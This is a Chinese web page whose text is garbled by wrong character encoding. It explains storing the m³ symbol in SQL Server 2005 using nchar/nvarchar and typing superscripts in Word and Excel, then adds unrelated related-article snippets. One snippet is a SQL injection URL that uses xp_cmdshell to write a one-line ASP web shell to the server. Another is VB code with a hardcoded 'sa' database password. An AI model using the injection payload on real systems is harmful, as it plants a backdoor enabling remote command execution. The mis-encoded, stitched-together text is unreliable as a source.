ÈçºÎÔÚSQL Server 2005 Öд洢Á¢·½Ã×
ÒªÔÚSQL ServerÊý¾Ý¿âÖд洢m³²¢´òÓ¡³öÀ´, ·½·¨ÈçÏ£º
1£©½«Êý¾Ý¿âÖÐÏàÓ¦×ֶεÄÊý¾ÝÀàÐÍÉèΪnchar»ònvarcharÀàÐÍ¡£
2£©´ÓExcelÖеõ½m³£¬¸´ÖÆÕ³Ìùµ½½ÓÊÕÊý¾ÝµÄ¿Ø¼þÖУ¨TextBox¡¢DataGridViewµÈ£©¡£±£´æ¼´¿É¡£
×¢£º1£©nchar,nvarcharÓëchar,varcharµÄÇø±ð
nchar,nvarcharÇ°Ãæ¶¼Óиö'n',±íʾ´æ´¢µÄÊÇUnicodeÊý¾ÝÀàÐ͵Ä×Ö·û¡£Unicode×Ö·û¼¯ÊÇΪÁ˽â¾öÓ¢Îĺͺº×Ö·Ö±ð´æ´¢ÊÇËùÐèµÄ×Ö½Ú²»Í¬µÄÎÊÌâ¶ø²úÉúµÄ£¨Ç°ÕßÒ»¸ö×Ö½Ú¡¢ºóÕßÁ½¸ö×Ö½Ú£©¡£Unicode×Ö·û¼¯È«²¿ÓÃÁ½¸ö×Ö½Ú¡£Á½Õß×î¶à¿ÉÒÔ´æ´¢4000¸÷×Ö·û£¬²»ÂÛºº×Ö»¹ÊÇÓ¢ÎÄ¡£
char,varcharÁ½Õß´æ´¢µÄÊÇ·ÇUnicodeÊý¾ÝÀàÐ͵Ä×Ö·û¡£×î¶à´æ´¢8000¸öÓ¢ÎÄ£¬4000¸öºº×Ö¡£
ËùÒÔ£¬Èç¹ûÊÇ´¿Ó¢ÎĺÍÊý×Ö£¬ÓÃchar/varchar£»Èç¹ûÊý¾ÝÖÐÓкº×Ö£¬¿ÉÒÔÓÃnchar/nvarchar¡£
2£©´ÓWORDºÍEXCELÖеõ½m³
WORD:ͨ¹ýÉèÖÃÉϱêµÄ·½·¨ÊµÏÖ¡£ÊäÈëm,°´"shift"+"Ctrl"+"+",ÊäÈë3£¬Ôٴΰ´"shift"+"Ctrl"+"+",»Øµ½Õý³£×´Ì¬¡£ÕâÖÖ·½·¨µÃµ½µÄm³¸´ÖƵ½EXCELÖиñʽ»áÏûʧ£¨±äΪm3£©¡£
EXCEL:С¼üÅÌ£¬ALT+179¡£»òÊäÈëm£¬²åÈë-->·ûºÅ£¬ÕÒµ½Éϱê3£¬µ¥»÷¡¾²åÈë¡¿¼´¿É¡£ÕâÖÖ·½·¨µÃµ½µÄm³¸´ÖƵ½WORDÖиñʽ²»»áÏûʧ¡£
Ïà¹ØÎĵµ£º
×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢ ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......
4.6 ͨ¹ýÈÕÖ¾²é¿´·þÎñÆ÷µÄÔËÐÐÇé¿ö
SQL Server 2005¿ÉÒÔ½«Ä³Ð©ÏµÍ³Ê¼þºÍÓû§×Ô¶¨ÒåµÄʼþ¼Ç¼µ½SQL Server´íÎóÈÕÖ¾ºÍWindowsÓ¦ÓóÌÐòÈÕÖ¾ÖС£ÕâÁ½ÖÖÈÕÖ¾¶¼»á×Ô¶¯±êÉÏʱ¼ä¡£
4.6.1 ÔÚ¡¾Ê¼þ²é¿´Æ÷¡¿Öв鿴·þÎñÆ÷µÄÔËÐÐÇé¿ö
SQL Server 2005·þÎñÆ÷µÄÆô¶¯¡¢¹Ø±ÕºÍÔÝÍ£¶¯×÷£¬¶¼»á²úÉúÒ»¸öʼþ¼Ç¼£¬Õâ¸ö¼Ç¼½«»á¼ÇÔÚWindows ......
JAVA£×Ö·û´®¹ýÂËÀà
package cn.com.hbivt.util;
/**
* Title:
*
* Description:
*
* Copyright: Copyright (c) 2005
*
* Company:
*
* @author not attributable
* @version 1.0
*/
public class StringUtils {
......
Private Sub insert1_click()
Dim iCount As Integer
Dim cn
Set cn = CreateObject("ADODB.Connection")
cn.ConnectionString = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Password=8233;Initial Catalog=hskmis;Data Source=127.0.0.1"
cn.Open
cn.Execute ("delete temp9")
'¼ÆËã¸Ã±íÓжàÉÙÐ ......
Ò».Êý¾Ý¿ØÖÆÓï¾ä (DML) ²¿·Ö
1.Insert (ÍùÊý¾Ý±íÀï²åÈë¼Ç¼µÄÓï¾ä)
Insert INTO ±íÃû(×Ö¶ÎÃû1, ×Ö¶ÎÃû2, ……) VALUES ( Öµ1, Öµ2, ……);
&nb ......